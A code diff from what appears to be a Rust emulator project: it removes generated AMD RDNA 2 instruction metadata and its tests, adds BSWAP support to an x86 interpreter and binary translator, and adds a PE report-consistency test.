fail(f"{left['name']} ({left['encoding']}) overlaps {right['name']} ({right['encoding']})")
forms.sort(key=lambda form: (form["encoding"], form["opcode"]))
return source, encodings, forms
def rust_from_snapshot(snapshot):
source, encodings, forms = forms_from_snapshot(snapshot)
out = []
emit = out.append
emit("// Generated by crates/isa/generate_rdna2_meta.py from crates/isa/data/rdna2.jsonl. Do not edit.")
emit(f"// Source: AMD RDNA 2 XML, {source['release']}, schema {source['xml_schema']}, SHA-256 {source['sha256']}.")
emit(f"// {source['copyright']}")
emit("// SPDX-License-Identifier: MIT")
emit("")
emit("use super::meta::{EncodingFamily, Extensions, FieldLayout, Form, FormFlags, OperandInfo};")
emit("")
emit(f'/// SHA-256 of the AMD XML the table was generated from.\npub const SOURCE_SHA256: &str = "{source["sha256"]}";')
emit("")
operand_sets = {}
for form in forms:
operand_sets.setdefault(json.dumps(form["operands"]), len(operand_sets))
emit("static OPERANDS: [&[OperandInfo]; %d] = [" % len(operand_sets))
for operands_json in operand_sets:
operands = json.loads(operands_json)
items = ", ".join(
"OperandInfo { field: %s, format: %s, kind: %s, bits: %d, input: %s, output: %s, implicit: %s, encoded: %s }"
% (json.dumps(field), json.dumps(data_format), json.dumps(kind), size,
str(i).lower(), str(o).lower(), str(implicit).lower(), str(encoded).lower())
for field, data_format, kind, size, i, o, implicit, encoded in operands
)
emit(f" &[{items}],")
emit("];")
emit("")
families = sorted({form["encoding"] for form in forms})
emit("/// Field layouts of each base encoding, as (bit offset, bit count) pieces from least significant.")
emit("pub static FIELDS: [(EncodingFamily, &[FieldLayout]); %d] = [" % len(families))
reverse = {value: key for key, value in BASE_ENCODINGS.items()}
for family in families:
fields = encodings[reverse[family]]["fields"]
items = ", ".join(
"FieldLayout { name: %s, pieces: &[%s] }" % (json.dumps(name), ", ".join(f"({o}, {c})" for o, c in ranges))
for name, ranges in fields
)
emit(f" (EncodingFamily::{family}, &[{items}]),")
emit("];")
emit("")
flag_bits = {
"IsBranch": 1,
"IsConditionalBranch": 2,
"IsIndirectBranch": 4,
"IsProgramTerminator": 8,
"IsImmediatelyExecuted": 16,
}
extension_bits = {"literal": 1, "always_literal": 2, "sdwa": 4, "dpp8": 8, "dpp16": 16, "nsa": 32}
emit("/// Every gfx1030 base instruction form in the AMD XML, sorted by encoding family and opcode.")
emit("pub static FORMS: [Form; %d] = [" % len(forms))
for form in forms:
flags = sum(flag_bits[flag] for flag in form["flags"])
extensions = sum(extension_bits[item] for item in form["extensions"])
emit(
" Form { name: %s, family: EncodingFamily::%s, opcode: %d, mask: 0x%016x, bits: 0x%016x, bytes: %d, "
"flags: FormFlags(0x%02x), extensions: Extensions(0x%02x), group: %s, operands: OPERANDS[%d] },"
% (json.dumps(form["name"]), form["encoding"], form["opcode"], form["mask"], form["bits"], form["bytes"],
flags, extensions, json.dumps(form["group"]), operand_sets[json.dumps(form["operands"])])
)
emit("];")
return "\n".join(out) + "\n"
def compare(path, expected):
actual = path.read_text() if path.exists() else ""
if actual != expected:
print(f"{path.relative_to(ROOT)} is out of date; rerun crates/isa/generate_rdna2_meta.py", file=sys.stderr)
return False
return True
def main():
parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--xml", type=Path, help="approved amdgpu_isa_rdna2.xml; regenerates the snapshot too")
parser.add_argument("--check", action="store_true", help="fail when committed outputs differ")
args = parser.parse_args()
if args.xml:
snapshot = snapshot_from_xml(args.xml.read_bytes())
elif SNAPSHOT.exists():
snapshot = SNAPSHOT.read_text()
else:
fail("no snapshot; pass --xml")
rust = rust_from_snapshot(snapshot)
if args.check:
ok = compare(RUST, rust)
if args.xml:
ok = compare(SNAPSHOT, snapshot) and ok
raise SystemExit(0 if ok else 1)
SNAPSHOT.parent.mkdir(parents=True, exist_ok=True)
SNAPSHOT.write_text(snapshot)
RUST.write_text(rust)
if __name__ == "__main__":
main()
-3
View File
@@ -2,10 +2,7 @@
use std::fmt;
pub mod meta;
mod rdna2;
#[rustfmt::skip]
mod rdna2_meta;
pub use rdna2::{
BUFFER_LOAD_DWORD, BUFFER_STORE_DWORD, EXP, IMAGE_SAMPLE_LZ, S_BRANCH, S_CBRANCH_EXECZ,
S_CBRANCH_SCC0, S_CBRANCH_VCCZ, S_CMP_EQ_U32, S_ENDPGM, S_MOV_B32, S_WAITCNT, S_WAITCNT_VSCNT,
-414
View File
@@ -1,414 +0,0 @@
//! Complete gfx1030 instruction metadata generated from AMD's public RDNA 2 XML.
//!
//! Identification here establishes an instruction's form and length only. It is
//! not semantic support: [`crate::Instruction`] lists the forms Xenora executes.
//! The XML names literal, SDWA, DPP and NSA variants without saying when they
//! apply, so [`identify`] implements those length rules by hand from the RDNA 2
//! ISA reference guide (see docs/research/rdna2.md).
use std::fmt;
pub use crate::rdna2_meta::{FIELDS, FORMS, SOURCE_SHA256};
/// AMD base encoding of an instruction form.
#[derive(Clone, Copy, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[allow(missing_docs)]
pub enum EncodingFamily {
Ds,
Exp,
Flat,
Global,
Mimg,
Mtbuf,
Mubuf,
Scratch,
Smem,
Sop1,
Sop2,
Sopc,
Sopk,
Sopp,
Vintrp,
Vop1,
Vop2,
Vop3,
Vop3Sdst,
Vop3p,
Vopc,
}
impl EncodingFamily {
/// Every family, in table order.
pub const ALL: [Self; 21] = [
Self::Ds,
Self::Exp,
Self::Flat,
Self::Global,
Self::Mimg,
Self::Mtbuf,
Self::Mubuf,
Self::Scratch,
Self::Smem,
Self::Sop1,
Self::Sop2,
Self::Sopc,
Self::Sopk,
Self::Sopp,
Self::Vintrp,
Self::Vop1,
Self::Vop2,
Self::Vop3,
Self::Vop3Sdst,
Self::Vop3p,
Self::Vopc,
];
/// Lower-case name used in reports.
pub fn name(self) -> &'static str {
match self {
Self::Ds => "ds",
Self::Exp => "exp",
Self::Flat => "flat",
Self::Global => "global",
Self::Mimg => "mimg",
Self::Mtbuf => "mtbuf",
Self::Mubuf => "mubuf",
Self::Scratch => "scratch",
Self::Smem => "smem",
Self::Sop1 => "sop1",
Self::Sop2 => "sop2",
Self::Sopc => "sopc",
Self::Sopk => "sopk",
Self::Sopp => "sopp",
Self::Vintrp => "vintrp",
Self::Vop1 => "vop1",
Self::Vop2 => "vop2",
Self::Vop3 => "vop3",
Self::Vop3Sdst => "vop3-sdst",
Self::Vop3p => "vop3p",
Self::Vopc => "vopc",
}
}
}
/// Control-flow flags recorded by the XML.
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
pub struct FormFlags(pub u8);
impl FormFlags {
#[allow(missing_docs)]
pub const NONE: Self = Self(0);
#[allow(missing_docs)]
pub const BRANCH: Self = Self(1);
#[allow(missing_docs)]
pub const CONDITIONAL: Self = Self(2);
#[allow(missing_docs)]
pub const INDIRECT: Self = Self(4);
#[allow(missing_docs)]
pub const TERMINATOR: Self = Self(8);
#[allow(missing_docs)]
pub const IMMEDIATE: Self = Self(16);
/// Whether every flag in `other` is set.
pub fn contains(self, other: Self) -> bool {
self.0 & other.0 == other.0
}
}
/// Extension words an instruction form may carry.
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
pub struct Extensions(pub u8);
impl Extensions {
#[allow(missing_docs)]
pub const NONE: Self = Self(0);
/// A source field may select a trailing 32-bit literal.
pub const LITERAL: Self = Self(1);
/// The form always carries a trailing 32-bit literal.
pub const ALWAYS_LITERAL: Self = Self(2);
#[allow(missing_docs)]
pub const SDWA: Self = Self(4);
#[allow(missing_docs)]
pub const DPP8: Self = Self(8);
#[allow(missing_docs)]
pub const DPP16: Self = Self(16);
/// MIMG non-sequential address dwords.
pub const NSA: Self = Self(32);
/// Whether every extension in `other` is allowed.
pub fn contains(self, other: Self) -> bool {
self.0 & other.0 == other.0
}
}
/// One encoded field: pieces of (bit offset, bit count), least significant piece first.
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
pub struct FieldLayout {
#[allow(missing_docs)]
pub name: &'static str,
#[allow(missing_docs)]
pub pieces: &'static [(u8, u8)],
}
impl FieldLayout {
/// Extracts the field from the instruction's first two dwords.
pub fn extract(&self, value: u64) -> u32 {
let mut result = 0u64;
let mut shift = 0;
for &(offset, count) in self.pieces {
result |= ((value >> offset) & ((1u64 << count) - 1)) << shift;
shift += count;
}
result as u32
}
}
/// An operand as described by the XML.
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
#[allow(missing_docs)]
pub struct OperandInfo {
pub field: &'static str,
pub format: &'static str,
pub kind: &'static str,
pub bits: u16,
pub input: bool,
pub output: bool,
pub implicit: bool,
/// Whether the operand occupies microcode bits.
pub encoded: bool,
}
/// One instruction in one base encoding.
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
#[allow(missing_docs)]
pub struct Form {
pub name: &'static str,
pub family: EncodingFamily,
pub opcode: u16,
/// Identifying bits over the first two dwords (little-endian, first dword low).
pub mask: u64,
pub bits: u64,
/// Base length before literal, SDWA, DPP or NSA words.
pub bytes: u8,
pub flags: FormFlags,
pub extensions: Extensions,
pub group: &'static str,
pub operands: &'static [OperandInfo],
}
impl Form {
/// The base encoding's field layouts.
pub fn fields(&self) -> &'static [FieldLayout] {
FIELDS
.iter()
.find(|(family, _)| *family == self.family)
.map(|(_, fields)| *fields)
.unwrap_or(&[])
}
/// The named field's layout, if the encoding has one.
pub fn field(&self, name: &str) -> Option<&'static FieldLayout> {
self.fields().iter().find(|field| field.name == name)
}
}
/// Which extension words an identified instruction carries.
#[derive(Clone, Copy, Debug, Default, Eq, PartialEq)]
pub struct Trailer {
/// A 32-bit literal follows the base encoding.
pub literal: bool,
/// SDWA, DPP8 or DPP16 control dword (VOP1, VOP2, VOPC only).
pub vector_control: Option<VectorControl>,
/// Extra MIMG address dwords.
pub nsa_dwords: u8,
}
/// The dword that replaces SRC0 in a VOP1, VOP2 or VOPC instruction.
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
#[allow(missing_docs)]
pub enum VectorControl {
Sdwa,
Dpp8 { fetch_inactive: bool },
Dpp16,
}
/// An identified instruction.
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
pub struct Identified {
/// The matched form.
pub form: &'static Form,
/// First two dwords; the second is zero for 32-bit encodings.
pub raw: u64,
/// Total length in bytes, including extension words.
pub len: usize,
/// Extension words present.
pub trailer: Trailer,
}
impl Identified {
/// Extracts a named field of the base encoding.
pub fn field(&self, name: &str) -> Option<u32> {
self.form.field(name).map(|field| field.extract(self.raw))
}
}
/// Why an instruction could not be identified.
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
pub enum IdentifyError {
/// Fewer bytes remain than the encoding or its extension words need.
Truncated {
/// Bytes required from the instruction start.
needed: usize,
},
/// No gfx1030 form matches; the bits are reserved or belong to another architecture.
Unassigned,
/// The bits select an extension the form does not allow.
InvalidExtension(&'static str),
}
impl fmt::Display for IdentifyError {
fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
match self {
Self::Truncated { needed } => write!(formatter, "truncated: needs {needed} bytes"),
Self::Unassigned => formatter.write_str("no gfx1030 instruction has this encoding"),
Self::InvalidExtension(what) => write!(formatter, "invalid extension: {what}"),
}
}
}
impl std::error::Error for IdentifyError {}
/// Source operand value selecting a trailing literal (XML `SRC_LITERAL`).
pub const SRC_LITERAL: u32 = 255;
/// VOP1/VOP2/VOPC SRC0 value selecting an SDWA control dword.
pub const SRC_SDWA: u32 = 0xf9;
/// VOP1/VOP2/VOPC SRC0 value selecting a DPP16 control dword.
pub const SRC_DPP16: u32 = 0xfa;
/// VOP1/VOP2/VOPC SRC0 value selecting a DPP8 control dword.
pub const SRC_DPP8: u32 = 0xe9;
/// DPP8 with fetch-inactive set.
pub const SRC_DPP8_FI: u32 = 0xea;
fn read_dword(bytes: &[u8], index: usize) -> Option<u32> {
let start = index.checked_mul(4)?;
let chunk = bytes.get(start..start.checked_add(4)?)?;
Some(u32::from_le_bytes(chunk.try_into().ok()?))
}
/// Finds the form whose identifying bits match.
///
/// Masks never overlap ambiguously; the generator rejects such tables.
pub fn lookup(raw: u64) -> Option<&'static Form> {
FORMS.iter().find(|form| raw & form.mask == form.bits)
}
/// Identifies the instruction at the start of `bytes` and computes its length.
pub fn identify(bytes: &[u8]) -> Result<Identified, IdentifyError> {
let first = read_dword(bytes, 0).ok_or(IdentifyError::Truncated { needed: 4 })?;
let second = read_dword(bytes, 1);
let raw_guess = u64::from(first) | (u64::from(second.unwrap_or(0)) << 32);
// A 32-bit form never inspects the second dword; a 64-bit form needs it.
let form = FORMS
.iter()
.find(|form| (form.bytes == 4 || second.is_some()) && raw_guess & form.mask == form.bits)
.or_else(|| {
// Distinguish a truncated 64-bit instruction from unassigned bits.
FORMS.iter().find(|form| {
form.bytes == 8
&& u64::from(first) & form.mask & 0xffff_ffff == form.bits & 0xffff_ffff
})
})
.ok_or(IdentifyError::Unassigned)?;
if form.bytes == 8 && second.is_none() {
return Err(IdentifyError::Truncated { needed: 8 });
}
let raw = if form.bytes == 4 {
u64::from(first)
} else {
raw_guess
};
let mut trailer = Trailer::default();
let source = |name: &str| form.field(name).map(|field| field.extract(raw));
match form.family {
EncodingFamily::Sop1 | EncodingFamily::Sop2 | EncodingFamily::Sopc => {
trailer.literal = [source("SSRC0"), source("SSRC1")]
.into_iter()
.flatten()
.any(|value| value == SRC_LITERAL);
}
EncodingFamily::Vop1 | EncodingFamily::Vop2 | EncodingFamily::Vopc => {
match source("SRC0") {
Some(SRC_LITERAL) => trailer.literal = true,
Some(SRC_SDWA) => trailer.vector_control = Some(VectorControl::Sdwa),
Some(SRC_DPP16) => trailer.vector_control = Some(VectorControl::Dpp16),
Some(SRC_DPP8) => {
trailer.vector_control = Some(VectorControl::Dpp8 {
fetch_inactive: false,
})
}
Some(SRC_DPP8_FI) => {
trailer.vector_control = Some(VectorControl::Dpp8 {
fetch_inactive: true,
})
}
_ => {}
}
}
EncodingFamily::Vop3 | EncodingFamily::Vop3Sdst | EncodingFamily::Vop3p => {
trailer.literal = [source("SRC0"), source("SRC1"), source("SRC2")]
.into_iter()
.flatten()
.any(|value| value == SRC_LITERAL);
}
EncodingFamily::Mimg => {
trailer.nsa_dwords = source("NSA").unwrap_or(0) as u8;
}
_ => {}
}
if form.extensions.contains(Extensions::ALWAYS_LITERAL) {
trailer.literal = true;
} else if trailer.literal && !form.extensions.contains(Extensions::LITERAL) {
return Err(IdentifyError::InvalidExtension("literal"));
}
match trailer.vector_control {
Some(VectorControl::Sdwa) if !form.extensions.contains(Extensions::SDWA) => {
return Err(IdentifyError::InvalidExtension("sdwa"));
}
Some(VectorControl::Dpp8 { .. }) if !form.extensions.contains(Extensions::DPP8) => {
return Err(IdentifyError::InvalidExtension("dpp8"));
}
Some(VectorControl::Dpp16) if !form.extensions.contains(Extensions::DPP16) => {
return Err(IdentifyError::InvalidExtension("dpp16"));
}
_ => {}
}
if trailer.nsa_dwords > 0 && !form.extensions.contains(Extensions::NSA) {
return Err(IdentifyError::InvalidExtension("nsa"));
}
let len = usize::from(form.bytes)
+ 4 * usize::from(trailer.literal)
+ 4 * usize::from(trailer.vector_control.is_some())
+ 4 * usize::from(trailer.nsa_dwords);
if bytes.len() < len {
return Err(IdentifyError::Truncated { needed: len });
}
Ok(Identified {
form,
raw,
len,
trailer,
})
}
/// Number of forms per encoding family in the metadata.
pub fn inventory() -> Vec<(EncodingFamily, usize)> {
EncodingFamily::ALL
.iter()
.map(|&family| {
(
family,
FORMS.iter().filter(|form| form.family == family).count(),
)
})
.collect()
}
File diff suppressed because it is too large. Load diff
-177
View File
@@ -1,177 +0,0 @@
//! Instruction identification against LLVM-assembled fixtures and hand-assembled words.
use std::fs;
use std::path::Path;
use xenora_isa::meta::{
EncodingFamily, Extensions, FORMS, IdentifyError, VectorControl, identify, inventory, lookup,
};
fn words(values: &[u32]) -> Vec<u8> {
values
.iter()
.flat_map(|value| value.to_le_bytes())
.collect()
}
fn name_of(values: &[u32]) -> (&'static str, usize) {
let found = identify(&words(values)).unwrap();
(found.form.name, found.len)
}
/// Mnemonics in a fixture's assembly source, without LLVM's encoding suffixes.
fn source_mnemonics(source: &str) -> Vec<String> {
source
.lines()
.map(|line| line.split("//").next().unwrap().trim())
.filter(|line| !line.is_empty() && !line.starts_with('.') && !line.ends_with(':'))
.map(|line| {
let mnemonic = line.split_whitespace().next().unwrap().to_ascii_uppercase();
mnemonic
.trim_end_matches("_E32")
.trim_end_matches("_E64")
.to_owned()
})
.collect()
}
#[test]
fn llvm_fixtures_identify_with_exact_boundaries_and_mnemonics() {
let directory = Path::new(env!("CARGO_MANIFEST_DIR")).join("../../fixtures/rdna2");
let mut checked = 0;
for entry in fs::read_dir(&directory).unwrap() {
let path = entry.unwrap().path();
if path.extension().is_none_or(|extension| extension != "bin") {
continue;
}
let binary = fs::read(&path).unwrap();
let source = fs::read_to_string(path.with_extension("s")).unwrap();
let mut offset = 0;
let mut identified = Vec::new();
while offset < binary.len() {
let found = identify(&binary[offset..])
.unwrap_or_else(|error| panic!("{} at {offset:#x}: {error}", path.display()));
identified.push(found.form.name.to_owned());
offset += found.len;
}
assert_eq!(offset, binary.len(), "{}", path.display());
assert_eq!(identified, source_mnemonics(&source), "{}", path.display());
checked += 1;
}
assert!(checked >= 11, "only {checked} fixtures found");
}
#[test]
fn hand_assembled_words_identify() {
// SOPP s_endpgm (opcode 1), SOP1 s_mov_b32 s0, s1 (opcode 3).
assert_eq!(name_of(&[0xbf81_0000]), ("S_ENDPGM", 4));
assert_eq!(name_of(&[0xbe80_0301]), ("S_MOV_B32", 4));
// VOP1 v_mov_b32 v0, v1: SRC0 = 256 + 1.
assert_eq!(name_of(&[0x7e00_0301]), ("V_MOV_B32", 4));
// VOP2 v_add_f32 v0, v1, v2: opcode 3 at bits 30:25, VSRC1 = 2 at bits 16:9.
assert_eq!(name_of(&[0x0600_0501]), ("V_ADD_F32", 4));
// VOP3 v_add_f32_e64 v0, v1, v2: VOP3 opcode 259 = 256 + VOP2 opcode 3.
assert_eq!(name_of(&[0xd503_0000, 0x0002_0501]), ("V_ADD_F32", 8));
}
#[test]
fn literal_sdwa_and_dpp_words_extend_the_length() {
// v_mov_b32 v0, 0x12345678: SRC0 = 255 selects a literal.
let literal = identify(&words(&[0x7e00_02ff, 0x1234_5678])).unwrap();
assert_eq!((literal.form.name, literal.len), ("V_MOV_B32", 8));
assert!(literal.trailer.literal);
// s_add_u32 s0, s1, literal: SSRC1 = 255.
assert_eq!(name_of(&[0x8000_ff01, 0x0000_1234]), ("S_ADD_U32", 8));
// VOP3 with SRC2 = 255.
let fma = identify(&words(&[0xd54b_0000, 0x03fe_0501, 0x3f80_0000]));
assert!(matches!(fma, Ok(found) if found.len == 12 && found.trailer.literal));
let sdwa = identify(&words(&[0x7e00_02f9, 0x0006_0601])).unwrap();
assert_eq!(sdwa.trailer.vector_control, Some(VectorControl::Sdwa));
assert_eq!(sdwa.len, 8);
let dpp16 = identify(&words(&[0x7e00_02fa, 0x00ff_0001])).unwrap();
assert_eq!(dpp16.trailer.vector_control, Some(VectorControl::Dpp16));
let dpp8 = identify(&words(&[0x7e00_02ea, 0x00fa_c688])).unwrap();
assert_eq!(
dpp8.trailer.vector_control,
Some(VectorControl::Dpp8 {
fetch_inactive: true
})
);
}
#[test]
fn truncated_and_unassigned_inputs_are_rejected() {
assert_eq!(identify(&[]), Err(IdentifyError::Truncated { needed: 4 }));
assert_eq!(
identify(&[0x00, 0x00, 0x81]),
Err(IdentifyError::Truncated { needed: 4 })
);
// VOP3 first dword alone.
assert_eq!(
identify(&words(&[0xd503_0000])),
Err(IdentifyError::Truncated { needed: 8 })
);
// Literal selected but absent.
assert_eq!(
identify(&words(&[0x7e00_02ff])),
Err(IdentifyError::Truncated { needed: 8 })
);
// SOPP opcodes are 7 bits; this table has no SOPP opcode 127.
assert!(lookup(0xbf80_0000 | (127 << 16)).is_none());
assert_eq!(
identify(&words(&[0xbfff_0000])),
Err(IdentifyError::Unassigned)
);
}
#[test]
fn extensions_outside_a_forms_metadata_are_rejected() {
let without_sdwa = FORMS
.iter()
.find(|form| {
form.family == EncodingFamily::Vop1 && !form.extensions.contains(Extensions::SDWA)
})
.expect("a VOP1 form without SDWA");
let word = (without_sdwa.bits as u32) | 0xf9;
assert_eq!(
identify(&words(&[word, 0])),
Err(IdentifyError::InvalidExtension("sdwa"))
);
}
#[test]
fn every_form_identifies_as_itself() {
for form in &FORMS {
assert_eq!(lookup(form.bits).map(|found| found.name), Some(form.name));
assert_eq!(
lookup(form.bits).unwrap().family,
form.family,
"{}",
form.name
);
}
let total: usize = inventory().iter().map(|(_, count)| count).sum();
assert_eq!(total, FORMS.len());
}
#[test]
fn first_word_opcode_table_agrees_with_full_metadata() {
use xenora_isa::{BUFFER_LOAD_DWORD, S_ENDPGM, V_ADD_F32, V_ADD_NC_U32, V_MOV_B32};
for (opcode, name, family) in [
(
BUFFER_LOAD_DWORD,
"BUFFER_LOAD_DWORD",
EncodingFamily::Mubuf,
),
(S_ENDPGM, "S_ENDPGM", EncodingFamily::Sopp),
(V_ADD_F32, "V_ADD_F32", EncodingFamily::Vop2),
(V_ADD_NC_U32, "V_ADD_NC_U32", EncodingFamily::Vop3),
(V_MOV_B32, "V_MOV_B32", EncodingFamily::Vop1),
] {
let form = FORMS
.iter()
.find(|form| form.name == name && form.family == family)
.unwrap();
assert!(opcode.matches(form.bits as u32), "{name}");
}
}
+14 -9
View File
@@ -276,16 +276,21 @@ impl<'a> Interpreter<'a> {
// HLT: Halt execution
0xF4 => Ok(Some(ExitReason::Halt)),
// SYSCALL: 0x0F 0x05
0x0F => {
let second = self.fetch_u8()?;
if second == 0x05 {
let syscall_num = self.cpu.get(Register::Rax);
Ok(Some(ExitReason::Syscall(syscall_num)))
} else {
Err(ExitReason::IllegalInstruction(second))
0x0F => match self.fetch_u8()? {
0x05 => Ok(Some(ExitReason::Syscall(self.cpu.get(Register::Rax)))),
op @ 0xC8..=0xCF => {
let reg = Register::from_index((op & 7) | (u8::from(rex_b) << 3));
let value = self.cpu.get(reg);
let reversed = if rex_w {
value.swap_bytes()
} else {
u64::from((value as u32).swap_bytes())
};
self.cpu.set(reg, reversed);
Ok(None)
}
}
op => Err(ExitReason::IllegalInstruction(op)),
},
// MOV r32, imm32 (0xB8 + reg) or MOV r64, imm64 with REX.W
0xB8..=0xBF => {
+10
View File
@@ -1077,6 +1077,16 @@ impl DbtEngine {
cur_rip += 1;
match op2 {
// BSWAP r32/r64: the register is encoded in the opcode.
0xC8..=0xCF => {
insn_count += 1;
let reg = (op2 & 7) | (u8::from(rex_b) << 3);
let offset = u32::from(reg) * 8;
asm.ldr_uoff_64(X9, X19, offset);
// REV X9, X9 or REV W9, W9. A W write clears the upper half.
asm.emit(if rex_w { 0xdac0_0d29 } else { 0x5ac0_0929 });
asm.str_uoff_64(X9, X19, offset);
}
// Jcc rel32 (0x0F 0x80..=0x8F)
0x80..=0x8F => {
insn_count += 1;
+78
View File
@@ -0,0 +1,78 @@
// SPDX-License-Identifier: GPL-3.0-or-later
use xenora_loader::cpu::{CpuState, ExitReason, Interpreter, RFlags};
use xenora_loader::dbt::DbtEngine;
use xenora_loader::memory::{GuestMemory, MemoryPermissions};
fn check_bswap(native: bool) {
const ENTRY: u64 = 0x1000;
const INPUT: u64 = 0x1122_3344_5566_7788;
for reg in 0_u8..16 {
for width in [16, 32, 64] {
let wide = width == 64;
let mut code = Vec::new();
if width == 16 {
code.push(0x66);
}
let rex = 0x40 | (u8::from(wide) << 3) | (reg >> 3);
if rex != 0x40 {
code.push(rex);
}
code.extend([0x0f, 0xc8 + (reg & 7)]);
let mut memory = GuestMemory::new();
memory
.map_region_with_data(ENTRY, code.len(), MemoryPermissions::READ_EXECUTE, &code)
.unwrap();
let mut cpu = CpuState::new(ENTRY, 0);
cpu.gpr.fill(0xdead_beef);
cpu.gpr[reg as usize] = INPUT;
cpu.flags = RFlags {
cf: wide,
zf: !wide,
sf: wide,
of: !wide,
};
let flags = cpu.flags;
let mut expected = cpu.gpr;
let result = if native {
DbtEngine::new(16 * 1024)
.unwrap()
.run(&mut cpu, &mut memory, 1)
} else {
Interpreter::new(cpu, &mut memory, 1).run()
};
if width == 16 {
assert!(matches!(
result.exit_reason,
ExitReason::IllegalInstruction(_)
));
assert_eq!(result.instructions_executed, 0);
} else {
assert_eq!(
result.exit_reason,
ExitReason::StepLimitExceeded,
"{code:02x?}"
);
assert_eq!(result.instructions_executed, 1);
assert_eq!(result.final_state.rip, ENTRY + code.len() as u64);
expected[reg as usize] = if wide {
0x8877_6655_4433_2211
} else {
0x8877_6655
};
}
assert_eq!(result.final_state.gpr, expected);
assert_eq!(result.final_state.flags, flags);
}
}
}
#[test]
fn interpreter_bswap() {
check_bswap(false);
}
#[test]
fn native_bswap() {
check_bswap(true);
}
+103
View File
@@ -259,3 +259,106 @@ fn probe_consumes_complete_c7_operands_even_when_native_support_is_missing() {
assert!(!records[1].is_supported_dbt);
}
}
#[test]
fn exported_reports_agree_across_fixtures_and_blocker_locations() {
let dir =
std::env::temp_dir().join(format!("xenora-report-consistency-{}", std::process::id()));
// (file offset, RVA) for a reachable instruction immediately after a MOV.
for (fixture, file_offset, rva, sections, imports) in [
(create_synthetic_probe_pe(), 0x209, 0x1009_u32, 1, 0),
(
include_bytes!("../../../fixtures/pe/trusted-runner.exe").to_vec(),
0x44e,
0x104e,
4,
1,
),
] {
assert_eq!(fixture[file_offset], 0xc3);
for padding in [None, Some(0), Some(1), Some(7)] {
let mut pe = fixture.clone();
let blocker = padding.map(|n| {
pe[file_offset..file_offset + n].fill(0x90);
pe[file_offset + n] = 0xcc;
rva + n as u32
});
run_probe_and_export(&pe, &dir, &ProbeConfig::default()).unwrap();
let read = |name| std::fs::read_to_string(dir.join(name)).unwrap();
let md = read("candidate_static_report.md");
let json = read("candidate_static_report.json");
let cpu = read("cpu_coverage.csv");
let import_csv = read("imports.csv");
std::fs::remove_dir_all(&dir).unwrap();
let json_field = |name: &str| {
let prefix = format!("\"{name}\": ");
json.lines()
.find_map(|line| line.trim().strip_prefix(&prefix))
.unwrap()
.trim_end_matches(',')
.trim_matches('"')
};
assert_eq!(json_field("sections_count"), sections.to_string());
assert!(
md.lines()
.any(|line| line == format!("## Sections Census ({sections})"))
);
assert_eq!(
md.lines()
.filter(|line| line.contains(" VirtualSize: "))
.count(),
sections
);
assert_eq!(json_field("total_imports"), imports.to_string());
assert!(
md.lines()
.any(|line| line == format!("- **Total Imported Thunks**: `{imports}`"))
);
assert_eq!(import_csv.lines().skip(1).count(), imports);
let expected = blocker.map(|addr| format!("0x{addr:08x}"));
assert_eq!(
json_field("first_unsupported_dbt_rva"),
expected.as_deref().unwrap_or("none")
);
let md_rvas: Vec<_> = md
.lines()
.filter_map(|line| {
line.strip_prefix("- **RVA**: `")?
.split_once('`')
.map(|(addr, _)| addr)
})
.collect();
assert_eq!(md_rvas, expected.iter().collect::<Vec<_>>());
// The first columns precede quoted fields. Read the support flags from
// the closing quote of the mnemonic, which can itself contain commas.
let mut unsupported = Vec::new();
let mut tail = Vec::new();
for row in cpu.lines().skip(1) {
let (addr, rest) = row.split_once(',').unwrap();
let (_, fields) = rest.split_once(",\"").unwrap();
let (bytes, mnemonic) = fields.split_once("\",\"").unwrap();
let (_, flags) = mnemonic.split_once("\",").unwrap();
if flags.split(',').next() == Some("false") {
unsupported.push(addr);
}
let address = u32::from_str_radix(addr.strip_prefix("0x").unwrap(), 16).unwrap();
if address >= rva {
tail.push((address, bytes));
}
}
assert_eq!(unsupported, expected.iter().collect::<Vec<_>>());
let mut expected_tail = Vec::new();
if let Some(end) = blocker {
expected_tail.extend((rva..end).map(|addr| (addr, "90")));
expected_tail.push((end, "cc"));
} else {
expected_tail.push((rva, "c3"));
}
assert_eq!(tail, expected_tail);
}
}
}
-138
View File
@@ -1,138 +0,0 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//! CPU block decoders for BC2, BC3, BC4 and BC5.
//!
//! Sources (public): Microsoft, "Texture Block Compression in Direct3D 11"
//! (sections BC2, BC3, BC4, BC5) and "Block Compression (Direct3D 10)"; Khronos
//! Data Format Specification 1.3, sections "S3TC compressed texture image
//! formats" and "RGTC compressed texture image formats".
//!
//! Colour blocks of BC2 and BC3 always use the four-colour interpolation,
//! whatever the order of their endpoints (Khronos, "S3TC compressed texture
//! image formats", DXT3/DXT5 subsections; the BC1 three-colour/alpha mode does
//! not apply). Texels are row-major, texel 0 at the top-left.
//!
//! Rounding: every interpolated value uses integer division that truncates
//! toward zero (the same rule `decode_bc1` uses). For unsigned values that is
//! floor. BC2 alpha nibbles expand as `v * 17`. The specifications define the
//! interpolation in real numbers; truncation is this crate's integer choice.
//!
//! SNORM: the specification maps both -128 and -127 to -1.0. Endpoints are
//! compared as the stored signed bytes; for interpolation -128 is treated as
//! -127. Output bytes are the stored endpoint bytes for indices 0 and 1 (so
//! -128 is preserved, not rewritten) and -127 / 127 for the fixed values.
use super::rgb565;
/// Reads texel `n` of a packed little-endian 48-bit array of 3-bit indices.
fn index3(bytes: &[u8; 6], n: usize) -> usize {
let mut bits = 0u64;
for (i, b) in bytes.iter().enumerate() {
bits |= u64::from(*b) << (8 * i);
}
((bits >> (3 * n)) & 7) as usize
}
fn unorm_palette(a0: u8, a1: u8) -> [u8; 8] {
let (x, y) = (u16::from(a0), u16::from(a1));
let mut p = [a0, a1, 0, 0, 0, 0, 0, 255];
if a0 > a1 {
for k in 1..=6u16 {
p[(k + 1) as usize] = (((7 - k) * x + k * y) / 7) as u8;
}
} else {
for k in 1..=4u16 {
p[(k + 1) as usize] = (((5 - k) * x + k * y) / 5) as u8;
}
p[6] = 0;
}
p
}
